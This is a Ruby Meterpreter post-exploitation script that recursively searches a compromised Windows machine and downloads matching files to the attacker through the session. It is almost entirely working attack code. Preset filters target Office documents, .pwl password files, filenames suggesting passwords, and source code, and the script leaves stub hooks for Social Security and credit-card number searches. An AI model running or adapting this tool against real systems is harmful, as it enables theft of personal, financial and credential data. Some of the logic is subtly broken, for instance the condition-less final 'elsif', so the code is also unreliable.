## Meterpreter script that recursively search and download ## files matching a given pattern ## Provided by Nicob ## with fresh BBQHAX by Saint Patrick ## **************************************** ## *** Public version slightly defanged *** ## **************************************** ## == WARNING == ## As said by mmiller, this kind of script is slow and noisy : ## http://www.metasploit.com/archive/framework/msg01670.html ## However, it can sometimes save your ass ;-) ## == WARNING == # Filters $filters = { 'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$', 'win9x' => '\.pwl$', 'passwd' => '(pass|pwd)', 'pr0n' => '\.(avi|mpg|mp4)$', 'source' => '\.(c|cpp|vb|cs|php|asp|aspx)$', 'ascii' => '\.asc$', 'ssn' => '\*', 'cc' => '\*', 'free' => args[2] } # Get arguments basedir = args[0] || "C:\\" $filter = args[1] || "office" $session = client host,port = $session.tunnel_peer.split(':') # commands removed and left as an exercise for the user $ssn_commands = [''] $cc_commands = [''] # Function for running a list a findstr commands stored in a array, returns string # Jacked most of this code from the winenum script def findstr_exec(session,cmdlst,path) tmpout = "" cmdout = "" r='' session.response_timeout=120 cmdlst.each do |cmd| begin r = session.sys.process.execute("#{cmd} \"#{path}\\*\"", nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) if (d !~ /FINDSTR/) tmpout << d end end cmdout << tmpout r.channel.close r.close rescue ::Exception => e print_status("Error Running Command #{cmd}: #{e.class} #{e}") end end cmdout end # Pulled the downloading out into this function. # Pass it a path and go. def downloadthis(fullpath) # Replace ':' or '%' or '\' by '_' dst = fullpath.tr_s(":|\%|\\", "_") dst = ::Dir.tmpdir + ::File::Separator + dst print_line("Downloading '#{fullpath}' to '#{dst}'") print_status("#{fullpath}") client.fs.file.download_file(dst, fullpath) end # Function scan() def scan(path) client.fs.dir.foreach(path) {|x| next if x =~ /^(\.|\.\.)$/ fullpath = path + '\\' + x if client.fs.file.stat(fullpath).directory? if $filters.index($filters[$filter]) == 'ssn' results = findstr_exec($session,$ssn_commands,fullpath) # Split into array and remove dupes results = results.split(/\n/).uniq! if results != nil results.each do |dlresult| downloadthis(dlresult.chomp!) end end elsif $filters.index($filters[$filter]) == 'cc' results = findstr_exec($session,$cc_commands,fullpath) results = results.split(/\n/).uniq! if results != nil results.each do |dlresult| downloadthis(dlresult.chomp!) end end end scan(fullpath) elsif fullpath =~ /#{$motif}/i downloadthis(fullpath) end } end if basedir == "-h" then # Display usage print_line "[=] Usage :" print_line "[-] run search_dwld [base directory] [filter] [pattern]" print_line "[-] [filter] can be a already defined pattern or 'free'" print_line "[=] Examples :" print_line "[-] run search_dwld" print_line "[-] => recursively look for (MS|Open)Office in C:\\" print_line "[-] run search_dwld %USERPROFILE% win9x" print_line "[-] => recursively look for *.PWL files in the user home directory" print_line "[-] run search_dwld E:\\ free '\.(jpg|png|gif)$'" print_line "[-] => recursively look for pictures in the E: drive" puts # Display the filters available to the user puts "[=] =====Available Filters=====" $filters.each_key {|key| puts "[-] " + key } elsif # Set the regexp $motif = $filters[$filter] # Search and download scan(basedir) end